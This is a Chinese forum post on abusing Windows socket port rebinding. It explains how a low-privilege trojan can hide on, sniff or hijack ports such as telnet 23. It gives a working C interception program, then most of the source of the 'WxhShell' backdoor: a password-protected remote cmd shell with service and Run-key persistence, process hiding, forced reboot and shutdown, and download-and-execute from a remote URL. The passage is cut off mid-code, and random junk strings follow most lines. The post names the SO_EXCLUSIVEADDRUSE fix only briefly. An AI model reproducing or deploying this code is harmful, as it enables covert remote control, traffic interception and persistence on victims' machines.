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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: d*_rJE}B  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %.WW-S3  
# TZ`   
  saddr.sin_family = AF_INET; /s@j{*Om  
:3[;9xCHj  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *)L~1;7j>  
@77+K:9I 7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); p$}/~5b}4  
H.< F6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Pq, iR J  
n.XgGT=L  
  这意味着什么?意味着可以进行如下的攻击: 6^)eW+  
tYp 185  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 * !9=?  
u6Yp ,!+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]wwNmmE  
?}U?Q7vx@@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hi/Z>1ZOX  
(9{qT>eJg=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  pV O{7I  
1\J9QZX0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ( 7ujJ}#,  
qERJEyU?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1DlXsup&?#  
[X7gP4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  kGAB'  
NA$%Up  
  #include Uy|Tu~  
  #include @hwNM#>`  
  #include CwD=nT5`  
  #include    fw5+eTQ^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   k2(k0HFR  
  int main() qP-_xpu]R  
  { UW1i%u k  
  WORD wVersionRequested; jOd+LXPJ  
  DWORD ret; Pif-uhOk%  
  WSADATA wsaData; 86>@.:d  
  BOOL val; jX0^1d@  
  SOCKADDR_IN saddr; WD1>{TSn  
  SOCKADDR_IN scaddr; 4 !m'9  
  int err; -d-xsP} s  
  SOCKET s; 2O- 4x  
  SOCKET sc; -hq^';,  
  int caddsize; N)PkE>%X  
  HANDLE mt; ^\[c][fo  
  DWORD tid;   _GM?`  
  wVersionRequested = MAKEWORD( 2, 2 ); CM7NdK?I  
  err = WSAStartup( wVersionRequested, &wsaData ); SYh>FF"  
  if ( err != 0 ) { Bw~jqDZ}|  
  printf("error!WSAStartup failed!\n"); bk&kZI.D  
  return -1; t|s(V-Wq  
  } fhyoSRLR:  
  saddr.sin_family = AF_INET; j3H_g ^  
   {Us^ 4Xe  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  f^KN8N  
{|<yZ,,p  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ohs`[U=%~  
  saddr.sin_port = htons(23); JTObyAoW  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Kz z/]  
  { Yf/e(nV  
  printf("error!socket failed!\n"); =k,?+h~  
  return -1; 6=qC/1,l  
  } JLz32 %-M  
  val = TRUE; zg'.fUZ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 irvd>^&jDC  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]')y(_{  
  { io(!z-$  
  printf("error!setsockopt failed!\n"); o5sw]R5  
  return -1; MK1#^9Zr  
  } CI\yP@DQ4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^>>9?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 KUq7Oa !  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 s:iBl/N}  
3ZI:EZ5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8TG|frS  
  { nLmF5.&  
  ret=GetLastError(); 2(x| %  
  printf("error!bind failed!\n"); :_]0 8  
  return -1; =CD.pw)B1  
  } 3,`M\#z%K  
  listen(s,2); fJ0V|o  
  while(1) UbGnU_}  
  { q`.=/O'  
  caddsize = sizeof(scaddr); IOF!Ra:w  
  //接受连接请求 +IWf~|s  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); OCJt5#e~A  
  if(sc!=INVALID_SOCKET) 'rS\9T   
  { xB[W8gQ6fa  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Qa\,)<'D:  
  if(mt==NULL) 'n1$Y%t  
  { ZHUW1:qs  
  printf("Thread Creat Failed!\n"); x!vyjp  
  break; IW>~Yl?  
  } ,grx'to(X  
  } MX?UmQ'  
  CloseHandle(mt); =tY%`e  
  } 1 0.Z Bfn  
  closesocket(s); @GGQ13Cj(  
  WSACleanup(); G@Sqg  
  return 0; :-lq Yd5^  
  }   -3 ANNj  
  DWORD WINAPI ClientThread(LPVOID lpParam) m #G,m  
  { <#;5)!gr{  
  SOCKET ss = (SOCKET)lpParam; "EA =auN{  
  SOCKET sc; C[hNngb7R  
  unsigned char buf[4096]; p&u\gSo  
  SOCKADDR_IN saddr; mxBx?xM-  
  long num; (d@(QJ  
  DWORD val; =hd0Ui>x  
  DWORD ret; N6p0`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .Y^3G7On  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1Y;.fZE  
  saddr.sin_family = AF_INET; %Tu(>vnuj  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {O).!  
  saddr.sin_port = htons(23); gdoaXw;Sy  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !4gHv4v ;  
  { 8z7eL>)  
  printf("error!socket failed!\n"); D| <_96_m  
  return -1; z C$F@  
  } %X^qWKix}m  
  val = 100; Q9h=1G\K  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) __s'/ 6u  
  { ;I80<SZ  
  ret = GetLastError(); n%RaEL  
  return -1; ,UC|[-J  
  } fVa z'R  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @Q{:m)\  
  { =sv?))b`  
  ret = GetLastError(); a5O$he  
  return -1; %C #Ps   
  } 0-aaLC~Z>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $Q}L*4?]  
  { i92Z`jiR  
  printf("error!socket connect failed!\n"); T][c^K*  
  closesocket(sc); zFipuG02  
  closesocket(ss); I(3~BOUn_  
  return -1; |; mET  
  } &e3}Vop  
  while(1) UM`$aPz  
  { ;14Q@yrZ0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U HTxNK@}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (E 8jkc  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :RZ'_5P[If  
  num = recv(ss,buf,4096,0); "\rO}(gC;`  
  if(num>0) {M=B5-  
  send(sc,buf,num,0); >Wx9a"H^(  
  else if(num==0) `mYp?N jR_  
  break; LkK[,Qj  
  num = recv(sc,buf,4096,0); zL50|U0H  
  if(num>0) r8N)]Hs ZH  
  send(ss,buf,num,0); Yt:%)&50}-  
  else if(num==0)  r3OtQ  
  break; `*yOc6i]  
  } EV* |\ te  
  closesocket(ss); -iW>T5f  
  closesocket(sc); S;iD~>KP  
  return 0 ; !B{(EL=g  
  } 1cMdoQ  
hBcklI  
E5|GP  
========================================================== t1oTZ  
FEopNDy@y  
下边附上一个代码,,WXhSHELL NU{eoqaT  
qPUACuF'  
========================================================== : 4lR`%  
3BLH d<  
#include "stdafx.h" t4~?m{  
2v4&'C  
#include <stdio.h> 5 ^l-3s?M  
#include <string.h> 2\O!vp>|-  
#include <windows.h> =*6frC~  
#include <winsock2.h> tBwPB#:W  
#include <winsvc.h> DAtAc(05)  
#include <urlmon.h> wa&:86~l?  
p&`I#6{  
#pragma comment (lib, "Ws2_32.lib") /J c^XWf  
#pragma comment (lib, "urlmon.lib") B=X_c5  
V1G5Kph  
#define MAX_USER   100 // 最大客户端连接数 " ;8kKR  
#define BUF_SOCK   200 // sock buffer )liNjY@  
#define KEY_BUFF   255 // 输入 buffer 9n\v{k=  
 s-&i!d  
#define REBOOT     0   // 重启 ygQAA!&']  
#define SHUTDOWN   1   // 关机 +:c}LCI9<  
yd45y}uS;F  
#define DEF_PORT   5000 // 监听端口 U}=H1f,  
M3GFKWQI,`  
#define REG_LEN     16   // 注册表键长度 6OQ\f,h@  
#define SVC_LEN     80   // NT服务名长度 (f#{<^gd  
)^ )|b5,  
// 从dll定义API ;D4 bxz0ou  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (V/! 0Lj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~aL?{kb+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Hb^ovc0   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mryT%zSlM  
abEdZ)$  
// wxhshell配置信息 3rX8H`R  
struct WSCFG { '$ G%HUn  
  int ws_port;         // 监听端口 9N) Ea:N  
  char ws_passstr[REG_LEN]; // 口令 C8:y+pH_U;  
  int ws_autoins;       // 安装标记, 1=yes 0=no )^E6VD&6  
  char ws_regname[REG_LEN]; // 注册表键名 %6@m~;c0  
  char ws_svcname[REG_LEN]; // 服务名 A/j'{X!z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,p..h+l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O7,:-5h0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?DNeL;6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &,]yqG 2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A  j>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IueI7A  
3}.OSt'=  
}; n0^3F1Z  
C$v !emu  
// default Wxhshell configuration $')Uie<!8  
struct WSCFG wscfg={DEF_PORT, &23t/`   
    "xuhuanlingzhe", -N2m|%B  
    1, +2s][^-KV  
    "Wxhshell", lstnxi%x  
    "Wxhshell", &=.7-iC|W  
            "WxhShell Service", elP#s5l4  
    "Wrsky Windows CmdShell Service",  <>=abgg  
    "Please Input Your Password: ", \&Oc}]  
  1, *eUxarI  
  "http://www.wrsky.com/wxhshell.exe", +n<;);h  
  "Wxhshell.exe" [>kzQYT[  
    }; :HN\A4=kc(  
.OF2O}  
// 消息定义模块 M j |"+(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2fdC @V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Vdf~rV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]i'gU(+;`  
char *msg_ws_ext="\n\rExit."; l`AA<Rj*O-  
char *msg_ws_end="\n\rQuit."; N*>&XJ#  
char *msg_ws_boot="\n\rReboot..."; dxWG+S  
char *msg_ws_poff="\n\rShutdown..."; 4= hz4(5a  
char *msg_ws_down="\n\rSave to "; uy=E92n3  
DYL\=ya1  
char *msg_ws_err="\n\rErr!"; aw'o=/a8  
char *msg_ws_ok="\n\rOK!"; AaJnRtBS~  
d0 yZ9-t  
char ExeFile[MAX_PATH]; 1|#j/  
int nUser = 0; 3=kw{r[2lM  
HANDLE handles[MAX_USER]; uB3Yl =P  
int OsIsNt; .?-]+ -J?`  
@?<1~/sfL  
SERVICE_STATUS       serviceStatus; T#R*]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <o&\/uO~H  
qu0dWgK  
// 函数声明 AU H_~SY  
int Install(void); *Y9'tHI  
int Uninstall(void); -D,kL  
int DownloadFile(char *sURL, SOCKET wsh); [%BWCd8Q~P  
int Boot(int flag); l( 0:CM  
void HideProc(void); -#"7F:N1  
int GetOsVer(void); 's6hCs&|NV  
int Wxhshell(SOCKET wsl); Ewczq1%l:  
void TalkWithClient(void *cs); +^@6{1  
int CmdShell(SOCKET sock); e.pq6D5  
int StartFromService(void); WCZeY?_^c  
int StartWxhshell(LPSTR lpCmdLine); g7U>G=,;?U  
d7Devs k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]u@`XVEJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cvl1 X"  
9q f=P3  
// 数据结构和表定义 CaqMLi%  
SERVICE_TABLE_ENTRY DispatchTable[] = ?{*/VJl$  
{ B< BS>(Nr>  
{wscfg.ws_svcname, NTServiceMain}, Luu.p<   
{NULL, NULL} :\8&Th}Se  
}; b_j8g{/9  
)MJy  
// 自我安装 >^hy@m  
int Install(void) _q dLA  
{ maTZNzy  
  char svExeFile[MAX_PATH]; `d i/nv)  
  HKEY key; /C)FS?=  
  strcpy(svExeFile,ExeFile); >On"BP# U  
uA2-&smw  
// 如果是win9x系统,修改注册表设为自启动 JqmKD4p  
if(!OsIsNt) { K+s xO/}h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bZsg7[: C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '=eE6=m^K  
  RegCloseKey(key); L=WB'*N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9K`uGu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gC qQ~lWZ  
  RegCloseKey(key); r 2L=gI  
  return 0; 6 C|]Fm  
    } '}q1 F<&  
  } uuMHD{}?}  
} 3V`.<  
else { @|GKNW#  
~ U,a?LR/  
// 如果是NT以上系统,安装为系统服务 [5Dg%?x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); DfQD!}=  
if (schSCManager!=0) L7lRh=D  
{ 3qc o2{nz  
  SC_HANDLE schService = CreateService H\Jpw  
  ( Ut xe  
  schSCManager, W^^}-9  
  wscfg.ws_svcname, b|HH9\  
  wscfg.ws_svcdisp, axW4 cS ?  
  SERVICE_ALL_ACCESS, Qb;5:U/x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8>|@O<2\  
  SERVICE_AUTO_START, Ag!#epi{0  
  SERVICE_ERROR_NORMAL, @GiR~bKZ  
  svExeFile, pH1 9"=p<  
  NULL, _Vq7Gxy$R  
  NULL, >xt*(j&}  
  NULL, -)Y?1w  
  NULL, F& 'HZX  
  NULL ymsqJ   
  ); y=jTS  
  if (schService!=0) plY`lqm  
  { ?Ze3t5Ll  
  CloseServiceHandle(schService); Z)U#5|sf  
  CloseServiceHandle(schSCManager); D=fB&7%@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q$Ol"K@  
  strcat(svExeFile,wscfg.ws_svcname); ,Wp0,>!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2ju1<t,8)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LQMVC^ G  
  RegCloseKey(key); }<wj~f([  
  return 0; !!c.cv'  
    } ^w<:UE2a!  
  } i`g>Y5   
  CloseServiceHandle(schSCManager); uK?T <3]'  
} QsmG(1=  
} ^saJfr x  
b'N"?W^YQ  
return 1; r[$Qtj Q  
} azB~>#H~  
Oh:SH|=]#  
// 自我卸载 MjI}fs<   
int Uninstall(void) q\[31$i$  
{ !qH=l-7A  
  HKEY key; )^!-Aj\x  
-}UC daQ3  
if(!OsIsNt) { 1F5F2OT$8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8IC((  
  RegDeleteValue(key,wscfg.ws_regname); q_f v1U3  
  RegCloseKey(key); e_6 i896  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f|VP_o<  
  RegDeleteValue(key,wscfg.ws_regname); a~ REFy  
  RegCloseKey(key); %!rsu-W:Y  
  return 0; ? =IbiT  
  } &TbnZnv  
} p,D/ Pb8  
} A|>a Gy  
else { *OF7 {^~&  
)KRO=~Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =GR Em5  
if (schSCManager!=0) JsPuxu_  
{ *8XGo  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JmYi&  
  if (schService!=0) `%ymg8^  
  { !9)*.9[8  
  if(DeleteService(schService)!=0) { N&>D/Z;"  
  CloseServiceHandle(schService); jv0e&rt  
  CloseServiceHandle(schSCManager); 5. l&nt'  
  return 0; 0XozYyq  
  } 9J]LV'f7  
  CloseServiceHandle(schService); uC;@Yi8  
  } yWK[@;S]%  
  CloseServiceHandle(schSCManager); j/Kw-h ,5"  
} QnGJ4F  
} }M~AkJL  
$Y4 Ao-@  
return 1; TMRXl.1  
} G![1+2p:Tq  
\m.{^Xd~  
// 从指定url下载文件 0bd.ess  
int DownloadFile(char *sURL, SOCKET wsh) &`%C'KZ  
{ 7v:;`6Jb  
  HRESULT hr; %Mu dc  
char seps[]= "/"; {"y 6l  
char *token; A P\E  
char *file; @)0g Xg  
char myURL[MAX_PATH]; 0!zWXKX  
char myFILE[MAX_PATH]; 2Vi[qS^  
Z3/zUtgs  
strcpy(myURL,sURL); HYY|) Wo  
  token=strtok(myURL,seps); (C:rH  
  while(token!=NULL) [lJ[kr*7  
  { bBQp:P?E  
    file=token; w5nRgdboy!  
  token=strtok(NULL,seps); [gE2lfaEy  
  } KVntBe]I  
NSkI2>+P  
GetCurrentDirectory(MAX_PATH,myFILE); P6?Q;-\q0  
strcat(myFILE, "\\"); w7W-=\Hvh  
strcat(myFILE, file); #nd,cn  
  send(wsh,myFILE,strlen(myFILE),0); _8`|KY  
send(wsh,"...",3,0); X3>(K1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D *tBbV  
  if(hr==S_OK) a|>MueJ  
return 0; lV 1|\~?4  
else R's xa*VB  
return 1; {F4:  
JSL 3.J  
} ~+g5?y  
TvP# /qGgG  
// 系统电源模块 BOG )JaDW  
int Boot(int flag) r5"/EMieh  
{ *SW,pHYnLb  
  HANDLE hToken; i>~?XVU  
  TOKEN_PRIVILEGES tkp; Ob6vg^#  
8?$2;uGL  
  if(OsIsNt) { G1l(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); VuY.})+J:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tX_eN  
    tkp.PrivilegeCount = 1; #.@=xhK/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pA2U+Q@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Vh<`MS0X  
if(flag==REBOOT) { anvj{1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W< n`[  
  return 0; =bDG|:+  
} >&VL2xLy  
else { s*IfXv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  /F_ :@#H  
  return 0; JVkawkeX  
} sa`Yan  
  } |^F-.Z  
  else { eZ!k'bS=  
if(flag==REBOOT) { I%p#E#[G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _=8+_OEk  
  return 0; T)uw2  
} ]ok>PH]  
else {  W 6~=?C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 82X.  
  return 0; B4}XK =)  
} (Y>MsqwWfC  
} Trrh`@R  
-  -G1H  
return 1; ,B2 -'O  
} .H"hRYPC?  
-)oBh  
// win9x进程隐藏模块 $c}0L0  
void HideProc(void) }$-VI\96  
{ MjpJAV/84  
Ps7%:|K]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Al|7Y/  
  if ( hKernel != NULL ) &f*dFUM]I  
  { 9zJ`;1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >-P0wowL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  zjA/Z(  
    FreeLibrary(hKernel); \ax%I)3  
  } W(aRO  
^NDX4d;  
return; Nj0)/)<r+  
} h 6*`V  
eEQ[^i  
// 获取操作系统版本 yjd'{B9{  
int GetOsVer(void) LzRiiP^q  
{ zc+;VtP|8  
  OSVERSIONINFO winfo; $hSZ@w|IF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +,Az\aT/%  
  GetVersionEx(&winfo); (fa?f tK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d8HB2c5y0i  
  return 1; (x qA.(F  
  else "ILWIzf.]  
  return 0; :OCux Sc%5  
} xV#a(>-4  
C8EC?fSQ  
// 客户端句柄模块 .gGvyscdH;  
int Wxhshell(SOCKET wsl) t1jlxK  
{ 6;cY!  
  SOCKET wsh; SFk#bh  
  struct sockaddr_in client;  7E`(8i  
  DWORD myID; 0j(jJAE.  
.dT;T%3fO  
  while(nUser<MAX_USER) Rt^<xXX$  
{ *ldMr{s<R  
  int nSize=sizeof(client); @b\ S.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QO{=Wi-  
  if(wsh==INVALID_SOCKET) return 1; Wi[m`#  
M~Qj'VVL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xs!g{~V{  
if(handles[nUser]==0) _]xt65TL  
  closesocket(wsh); K\+}q{  
else .l+~)$  
  nUser++; +}QBzGW`  
  } tIb21c q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^qO=~U!{  
kq~[k.  
  return 0; BwJ^_:(p~  
} }l( m5  
rN1U.FRe/  
// 关闭 socket a4( ?]ND~6  
void CloseIt(SOCKET wsh) =6L*!JP<  
{ <*"pra{3  
closesocket(wsh); f{Fe+iPc  
nUser--; Ah>gC!F^  
ExitThread(0); - ~\.n  
} hyb +#R  
a3UPbl3^  
// 客户端请求句柄 BKQIo)g.G  
void TalkWithClient(void *cs) qX{X4b$  
{ ?,:#8.9  
'Z.OF5|eGT  
  SOCKET wsh=(SOCKET)cs; sr+gD*@h  
  char pwd[SVC_LEN]; tyuk{* Me:  
  char cmd[KEY_BUFF]; Kr/h`RM  
char chr[1]; 8jggc#.  
int i,j; =0h|yjnL/  
^+*GbY$'  
  while (nUser < MAX_USER) { |,;twj[?4  
1t~FW-:  
if(wscfg.ws_passstr) { jQ_dw\ {0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NTm<6Is`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CYtjY~  
  //ZeroMemory(pwd,KEY_BUFF); rToaGQh  
      i=0; "[*S?QO(L  
  while(i<SVC_LEN) { /WgPXEB  
=Y &9 qt  
  // 设置超时 5 [ ,+\  
  fd_set FdRead; v Zb|!#I  
  struct timeval TimeOut; d&[iEU  
  FD_ZERO(&FdRead); 894r;UA7  
  FD_SET(wsh,&FdRead); =6cyE  
  TimeOut.tv_sec=8; qGnPnQc  
  TimeOut.tv_usec=0; d"B@c;dD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3s`V)aXP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5^i.;>(b  
<.,RBo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /"""z=q  
  pwd=chr[0]; ;OOj[%.  
  if(chr[0]==0xd || chr[0]==0xa) { ih>a~U<  
  pwd=0; N[qA2+e$Z  
  break; {I0w`xe  
  } R=-+YBw7/  
  i++; 6exI_3A4jh  
    } -7>^ rR V  
XC|*A$x,  
  // 如果是非法用户,关闭 socket WD15pq l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -#LjI.  
} EXA^!/)  
4|[<e-W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,~(|p`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zlH28V  
3A-*vaySV  
while(1) { DH5bpg&T  
a9[mZVMgUK  
  ZeroMemory(cmd,KEY_BUFF); m</]D WJ  
`-VG ?J  
      // 自动支持客户端 telnet标准   JC=dYP}  
  j=0; B!eK!B  
  while(j<KEY_BUFF) { B@ -|b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]>5T}h  
  cmd[j]=chr[0]; 'KH lrmnr  
  if(chr[0]==0xa || chr[0]==0xd) { = 0 ,|/1~  
  cmd[j]=0; ]?[zx'|  
  break; 2(pLxVl  
  } mge#YV::  
  j++; WFouoXlG0  
    } H#OYw#L"u  
%/51o6a  
  // 下载文件 F8;mYuA  
  if(strstr(cmd,"http://")) { jz*0`9&_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (~h7rAEc  
  if(DownloadFile(cmd,wsh)) k@S)j<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); '=VH6@vZ_'  
  else vX ?aB!nkw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _=pWG^a  
  } 4S tjj!ew  
  else { jh[ #p?:  
H"eS<eT  
    switch(cmd[0]) { 13H;p[$  
  <PX.l%  
  // 帮助 z<!O!wX_aI  
  case '?': { H nK!aa  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mjbTy"}"  
    break; $!f !,fw+  
  } IroPx#s:i  
  // 安装 C,fY.CeI  
  case 'i': { Pb#P`L7OB  
    if(Install()) vm8$:W2 }  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !v0"$V5+i  
    else g0PT8]8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p!_[qs  
    break; ?ty>}.c t  
    } K4:  $=  
  // 卸载 Zae.MO^C!  
  case 'r': { 30s; }  
    if(Uninstall()) D93gH1z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =J](.78  
    else Q^L) Vp"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3f"C!l]Xu  
    break; + ~ "5!  
    } \/ErPi=g  
  // 显示 wxhshell 所在路径 eIH$"f;L  
  case 'p': { 6#U^< `  
    char svExeFile[MAX_PATH]; X3<K 1/<  
    strcpy(svExeFile,"\n\r"); P;73Hr[E#  
      strcat(svExeFile,ExeFile); }Al YNEY  
        send(wsh,svExeFile,strlen(svExeFile),0); onwjn+"&  
    break; l-<`m#/v  
    } 5NoI~X=  
  // 重启 2owEw*5jl/  
  case 'b': { W6H,6v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); } :=Tm]S  
    if(Boot(REBOOT)) &e-U5'(6v_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yeDsJ/L  
    else { W"^wnGa@a  
    closesocket(wsh); ]0hrRA`  
    ExitThread(0); 6`vC1PK^  
    } m<FOu<y  
    break; ] e. JNo  
    } <\kr1qH H  
  // 关机 _4^R9Bt  
  case 'd': { EBz}|GY;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (jU6GJRP  
